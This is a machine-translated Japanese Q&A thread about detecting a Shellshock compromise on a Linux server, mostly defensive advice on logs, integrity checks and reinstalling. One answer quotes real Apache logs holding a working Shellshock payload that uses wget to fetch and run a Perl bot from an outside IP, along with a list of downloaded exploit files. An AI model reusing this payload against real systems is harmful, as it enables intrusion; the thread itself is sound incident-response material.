Shellshock:自分のサーバーが危険にさらされているかどうか、および注意すべき疑わしいファイルがあるかどうかを知る方法


18

誰かが答えるのを助けることができる3つの質問:

  1. Shellshockのバグが原因でサーバーが既に侵害されているかどうかを知るにはどうすればよいですか?
  2. 侵害された場合、悪意のあるファイルを探す特定のフォルダーはありますか?
  3. 悪意のあるファイルはどのように見えますか?

CentOS 6、LEMPスタックを実行しています

回答:


36

Shellshockのバグが原因でサーバーが既に侵害されているかどうかを確認するにはどうすればよいですか?

あなたはしません。それがセキュリティの脆弱性です。[ クラッカーを入れる]をクリックする必要がある場合は、OK /キャンセルしても、それほど脆弱ではありません。

攻撃ベクトルのログを確認する運はあるかもしれませんが、非常に多くのサービスが脆弱であり、すべてのアクセスがすべてのアクセスを記録するわけではないため、最終的に攻撃を見つけることは不可能です。

侵害された場合、悪意のあるファイルを探す特定のフォルダーはありますか?

いいえ、悪意のあるファイルはどこにでも存在する可能性があります。

一般的なルートキットはで自分自身をインストールする/rootか、/または/tmpまたはバイナリのパスのいずれかが、本当に彼らはどこにでもある可能性があります。実際のサービスにた名前や、「IPTables」や「kernel-bin」のように見える「重要」な名前が付いている場合がありますが、ランダムな文字列または本物のバイナリと同じ名前(異なるパスにある)でもかまいません。で本当に明らかなルートキットの読み込み/etc/rc.localまたは接続を見つけることができnetstat -neopaます。で疑わしいプロセス名を探しtop -cます。

あまり一般的ではなく、見つけるのがはるかに難しいルートキットは、ライブラリを置き換えるか、シムライブラリとしてロードしてシステムコールをインターセプトします。これは、システム上で実行されているすべてのものをstrace / ltraceし、動作を既知の正常なシステムまたはソースコードの予想される動作と比較しない限り、ほとんど見つけることができません。

システムをリロードするだけで、より速く、より簡単に、より確実になります。

悪意のあるファイルはどのように見えますか?

おそらく他の通常のELFバイナリまたはライブラリと同様です。スクリプトの場合もあります。

結論として、システムが危険にさらされている可能性があると思われる場合は、システムが危険にさらされているかのように扱い、必要な措置を講じてください。


14
+1 「クラッカーを入れますか?」 別の注意事項として... Linuxで「IPTables」という名前が表示された場合、非常に疑わしい。UNIXianはCapsPhobicです。
ビショップ14

システムが危険にさらされている可能性があると思われる場合は、システムが危険にさらされているかのように扱い、必要な措置を講じてください。これは、bashインストールされ、ネットワークケーブルが差し込まれているすべての可能なシステムを意味しますか?
フェデリコポロニ14

@FedericoPoloni誰かがネットワーク経由でシェルにアクセスできる場合のみ。しかし、そうでなければあなたは絶対に正しいです。
scai 14年

@FedericoPoloniそれが賢明な選択であるかどうかはわかりません。なぜなら、すべてのシステムを常にダウンさせる必要があるからです。彼らは非常に楽観的な馬鹿です。システムが正常に動作しないという疑いがある場合は、できればA CLEAN OSからのシステムとそのネットワークトラフィックを調べてください。改ざんの証拠はありませんが、穴を修正する以外に対策を講じる必要はありません。そうしないと、すべてのシステムを24時間365日常に再インストールする必要があります。
フランクウォーラー14年

@FrankWaller私は完全に同意します。システムが危険にさらされており、攻撃者がトレースを残さないように十分に熟練している可能性は常にありますが、このケースに対応するために24時間365日再インストールすることはできません。
フェデリコポロニ14年

21

shellshockはワームではないため、検索するファイルはありません。Shellshockは、ネットワークを攻撃して侵入する方法です。攻撃者が何をするかを誰が知っているか。


3
この答えは少し混乱しているように見えます-急いで打ち切られたのかもしれませんし、答えではなくコメントであるべきかもしれません。確かに、それはワームではありません(脆弱性であり、マルウェアの一部ではありません)が、それが関連性があると考える理由、または「探すファイルがない」ことを意味する理由は明確ではありません。Shellshockはネットワークを攻撃する方法ではありません。それは機械に侵入する方法です。これは、ネットワークではなく、マシンに対する攻撃です。
DW 14年

2
@DW非常に簡潔ですが、明らかにOPの心配に直接反応しましたis there a particular folder where I should look for malicious files
ᴠɪɴᴄᴇɴᴛ14年

5

IRCボットをとしてインストールするバグを悪用しようとする試みを見てきました/var/tmp/x。しかし、一般的には、特定のファイルを探す必要はありません。それらはどこにでもどこにも存在しない可能性があるからです。

Webサーバーを介して侵害された場合、Webサーバーのユーザーが所有する新しいファイルまたはプロセスは疑わしいものになります。

攻撃者が最初にbashバグを使用してシステムに入り、次にローカルの脆弱性を使用してrootになった場合、発見することはほとんど不可能になる可能性があります。

同様の質問もご覧ください。


Webサーバーのユーザー所有権のアイデアの+1
Xan

4

私はsuprjamiからの答えをエコーし​​、あなたのシステムが脆弱な場合、あなたはそれを侵害されたものとして扱うべきだと言います。

Apacheを実行している場合は、次のコマンドでShellshockの侵入試行のログを確認できます。

[root@server ~]# grep cgi /var/log/httpd/access*|egrep "};|}\s*;"

このコマンドは、Apacheのアクセスログ(デフォルトではaccess_log、access_log.1、access_log.2など)から「cgi」を含むすべての行を抽出し、正規表現を使用してegrepにパイプします。

(ソース:http : //linux.slashdot.org/story/14/09/24/1638207/remote-exploit-vulnerability-found-in-bash


Apacheのデフォルト設定では、宛先URLと「User-Agent」および「Referer」ヘッダーへの攻撃のみが表示されることに注意してください。「Cookie」や「X-Ploit」などのヘッダーへの攻撃は記録されません。
マーク14

1
@Mark絶対に、それについて言及すべきでした。
ラルフ

1
もちろん、自尊心のある攻撃者が最初に行うことは、ログから攻撃のヒントを消去することです。これが、ログを1回だけ書き込み、リモートにする必要がある理由です。
ヨルグWミットタグ14

4

Shellshockにはいくつかの攻撃ベクトルがあり、それらのいくつかはまだ一般に知られていないか、カスタムCGIスクリプトが原因であるため、侵害されているかどうかを明確に判断する方法はありません。

通常の「いくつかのシステムファイルが変更されたか、最近疑わしい何かが最近発生したかどうかを確認しましょう」アプローチに加えて、サーバーの動作に注意してください。

  1. 突然もっと多くのネットワークトラフィックがありますか?
  2. CPU /メモリ使用量は大きく変化しましたか?
  3. 何かがディスクスペースを使い果たしているか、通常よりも多くのI / Oを引き起こしていますか?
  4. DOESはnetstat奇妙なネットワーク接続または表示しps aux、あなたが認識していないショーのプロセスを?
  5. サーバーが突然以前よりも多くの電子メールを送信しますか?

適切なサーバーヘルスモニタリング(などZabbix)が稼働している場合、セキュリティ違反の発見にも役立ちます。また、システムファイルのMD5 / SHAの合計を既知の正常なバックアップと比較することもできます。

基本的には、サーバーが危険にさらされたときに機能し、考えられるすべてを調査します。


4

侵害された古いPleskシステムをクリーンアップすることができました。最初に与えられたのは、多くのポートをリッスンし始めたプロセスや、元のスキャンサーバーからコードをダウンロードしようとする他のプロセスでした。

    lsof -i -n
...
        perl       1899      user100     3u  IPv4 227582583      0t0  TCP 87.106.215.123:49859->94.102.63.238:https (SYN_SENT)
        perl       1999      user101     3u  IPv4 227582597      0t0  TCP 87.106.215.123:49861->94.102.63.238:https (SYN_SENT)
        perl       2016       wwwrun     3u  IPv4 227549964      0t0  TCP 87.106.215.123:56263->94.102.63.238:https (ESTABLISHED)
...

ログを見ると、究極の穴はcgi_wrapperスクリプトであることがわかりました。システムを保護およびシールドするはずの何かが、実際に穴を保護に引き裂いたものです。プローブからのログ行と成功した攻撃の一部を次に示します。

これらはaccess_logからの行です。これは単なるサンプルであり、2行のうち200行に注意してください。他の行は404で失敗します。しかし、200を持っている人はそうしました。ここでのこれらの攻撃のパターンは常に同じです。1.脆弱なcgiスクリプトを見つけて、shellshockエクスプロイトを使用してperlスクリプトをダウンロードして実行し、perlスクリプトを再度削除します。perlスクリプトは、実際にはいくつかのソースファイル(tgz)をダウンロードしてコンパイルし、実行します。少なくともバックドアと自動更新メカニズムが含まれていることがわかりました。すべての初期スクリプトは、ラッパーによって提供されたユーザーとして実際に実行されますが、後のサービスは1のPPID(ルートプロセスから開始)で開始されます)。

94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-sys/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /phppath/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php5-cli? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /phppath/cgi_wrapper? HTTP/1.1" 200 9 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-sys/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /phppath/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php5-cli? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /phppath/cgi_wrapper? HTTP/1.1" 200 9 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"

そして、対応するerror_log行は次のとおりです。

[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] File does not exist: /srv/www/vhosts/default/htdocs/cgi-sys
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/cgi-bin/cgi_wrapper/php
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] --2014-09-28 00:41:03--  http://94.102.63.238/shell.pl
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Connecting to 94.102.63.238:80...
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] connected.
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] HTTP request sent, awaiting response...
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 200 OK
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Length:
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 17079
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]  (17K)
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]  [text/x-perl]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Saving to: `/tmp/bot.pl'
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]      0K
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 100%
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]   626K
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] =0.03s
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 2014-09-28 00:41:03 (626 KB/s) - `/tmp/bot.pl' saved [17079/17079]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5-cli
[Sun Sep 28 00:46:03 2014] [warn] [client 94.102.63.238] Timeout waiting for output from CGI script /srv/www/cgi-bin/cgi_wrapper/cgi_wrapper
[Sun Sep 28 00:46:03 2014] [error] [client 94.102.63.238] (70007)The timeout specified has expired: ap_content_length_filter: apr_bucket_read() failed
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] File does not exist: /srv/www/vhosts/default/htdocs/cgi-sys
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/cgi-bin/cgi_wrapper/php
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] --2014-09-28 01:29:34--  http://94.102.63.238/shell.pl
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Connecting to 94.102.63.238:80...
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] connected.
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] HTTP request sent, awaiting response...
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 200 OK
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Length:
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 17079
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]  (17K)
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]  [text/x-perl]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Saving to: `/tmp/bot.pl'
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]      0K
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 100%
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]   575K
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] =0.03s
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 2014-09-28 01:29:34 (575 KB/s) - `/tmp/bot.pl' saved [17079/17079]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5-cli
[Sun Sep 28 01:34:34 2014] [warn] [client 94.102.63.238] Timeout waiting for output from CGI script /srv/www/cgi-bin/cgi_wrapper/cgi_wrapper
[Sun Sep 28 01:34:34 2014] [error] [client 94.102.63.238] (70007)The timeout specified has expired: ap_content_length_filter: apr_bucket_read() failed

/ tmpにダウンロードされたファイル推測されるかもしれませんが、bot.plファイルはすぐに削除されるため、持っていません。

-rwxr-xr-x 1 user100  psacln   187 Sep 29 01:02 check
-rwxr-xr-x 1 user100  psacln  9849 Sep 29 03:35 exploit
drwxr-xr-x 4 user100  psacln  4096 Sep 29 03:19 expls
-rw-r--r-- 1 user100  psacln 91693 Sep 29 03:13 expls.tgz
-rw-r--r-- 1 user100  psacln   178 Sep 29 03:35 payload.c

cd ./expls
drwxr-xr-x 2 user100  psacln  4096 Sep 29 03:13 1
drwxr-xr-x 2 user100  psacln  4096 Sep 29 03:13 2
-rwxr-xr-x 1 user100  psacln 23040 Sep 29 03:19 bcm
-rw-r--r-- 1 user100  psacln 15695 Sep 29 02:46 bcm.c
-rwxr-xr-x 1 user100  psacln 13175 Sep 29 03:19 bug
-rw-r--r-- 1 user100  psacln  2657 Sep 29 02:46 bug.c
-rwxr-xr-x 1 user100  psacln 14560 Sep 29 03:13 config
-rw-r--r-- 1 user100  psacln  6468 Sep 29 02:46 config.c
-rwxr-xr-x 1 user100  psacln 13866 Sep 29 03:13 config2
-rw-r--r-- 1 user100  psacln  6335 Sep 29 02:46 config2.c
-rw-r--r-- 1 user100  psacln  2736 Sep 29 02:46 data.c
-rw-r--r-- 1 user100  psacln  4221 Sep 29 02:46 diag.c
-rwxr-xr-x 1 user100  psacln 13698 Sep 29 03:19 expl
-rw-r--r-- 1 user100  psacln  1686 Sep 29 02:46 expl.c
-rw-r--r-- 1 user100  psacln 15013 Sep 29 02:46 half.c
-rwxr-xr-x 1 user100  psacln 18611 Sep 29 03:19 nellson
-rw-r--r-- 1 user100  psacln  9489 Sep 29 02:46 nellson.c
-rwxr-xr-x 1 user100  psacln   419 Sep 29 02:03 origin
-rw-r--r-- 1 user100  psacln 15727 Sep 29 02:46 pipe.c
-rwxr-xr-x 1 user100  psacln 13481 Sep 29 03:19 polkit
-rw-r--r-- 1 user100  psacln  3597 Sep 29 02:46 polkit.c
-rwxr-xr-x 1 user100  psacln  2741 Sep 29 01:51 preload
-rwxr-xr-x 1 user100  psacln   208 Sep 29 02:01 preload2
-rwxr-xr-x 1 user100  psacln 14257 Sep 29 03:13 rds
-rw-r--r-- 1 user100  psacln  7250 Sep 29 02:46 rds.c
-rwxr-xr-x 1 user100  psacln   233 Sep 29 03:13 run
-rwxr-xr-x 1 user100  psacln 17864 Sep 29 03:19 semtex
-rw-r--r-- 1 user100  psacln  3757 Sep 29 02:46 semtex.c
-rwxr-xr-x 1 user100  psacln 14023 Sep 29 03:13 semtex2
-rw-r--r-- 1 user100  psacln  4799 Sep 29 02:46 semtex2.c
-rwxr-xr-x 1 user100  psacln 17904 Sep 29 03:19 semtex3
-rw-r--r-- 1 user100  psacln  2691 Sep 29 02:46 semtex3.c
-rwxr-xr-x 1 user100  psacln 13014 Sep 29 03:19 shell
-rw-r--r-- 1 user100  psacln   159 Sep 29 02:46 shell.c
-rwxr-xr-x 1 user100  psacln  9157 Sep 29 03:13 sock
-rw-r--r-- 1 user100  psacln  2232 Sep 29 02:46 sock.c
-rwxr-xr-x 1 user100  psacln   438 Sep 29 03:13 start
-rwxr-xr-x 1 user100  psacln 18268 Sep 29 03:19 sys32
-rw-r--r-- 1 user100  psacln  5389 Sep 29 02:46 sys32.c
-rw-r--r-- 1 user100  psacln 25396 Sep 29 02:46 x86_64.c

しばらくして、私たちのサーバーをあまり訪れない中国のような様々な場所からのssh接続に気付きました。緊急対策としてbashにパッチを適用しました(パッチを適用したソースをFSF Webサイトから入手でき、本当に古いソースとパッチファイル(最初は正しく適用されなかったものの1つではありません)。今すぐ拭いてください。だから誰かが攻撃について何か他のものを探しているなら、あなたは尋ねることができますが、すぐにそれをしてください。


3

この答えは特にShellshockに関連するものではありませんが、どのシステムでも侵害されていると思われるかもしれません

2番目の注意:侵害されたルートシステムから回復したことを確認することはできません。あなたの唯一のアクションは、システムを破棄して再プロビジョニングすることです

のきれいな静的ビルドを取得して、rpmcommandを実行してみてくださいrpm --verify --all。パッケージに属するどのファイルが変更されたかがわかります。しかし、侵害されたシステムで実行する可能性があるため、結果を完全に信頼できない可能性があります。次に、単純にa rpm -qaを実行してパッケージのリストを取得し、同じパッケージバージョンで別のシステムを再作成してから、find / -type f |xargs -r -n 100 md5sum |sort両方のシステムでaを実行して、違いを確認します。また、システムを適切に管理している場合(/ optまたは/ usr / local / binまたは別の管理されていない場所以外に手動でインストールしないことを意味します)、パッケージに属さないシステム内のすべてのファイルを検索できますfind / -type f -exec rpm -qf {} \;。不明なファイルのエラーが表示されます。エクササイズとしてポジティブを見せないようにします;-)

暗号化証明で定期的に同じことを行うTripwireために、無料版としてまだ見つかるツールがあります。それは古いですが、その仕事をします。新しい代替手段はですがAIDE、数年前に見たときに暗号を使用していませんでした。

役立つツールがいくつかあります。たとえば、packageを探しますrkhunter。既知のルートツールキットと悪用されたファイルがないかコンピューターをスキャンします。

明らかに、これらのツールは、システムが侵害される前にインストールおよび構成されている必要があります。また、システムがルートアクセスに正常にハッキングされた場合、これらのツールも対象にできます。また、これらのツールは非常に集中的であり、システムの速度を低下させる可能性があります。


2

サーバーが危険にさらされているかどうかを知る唯一の方法は、ファイルのどこかに署名を付けて、現在のファイルとそれを比較することです。それにもかかわらず、あなたはあなたが脆弱かどうか見ることができます。

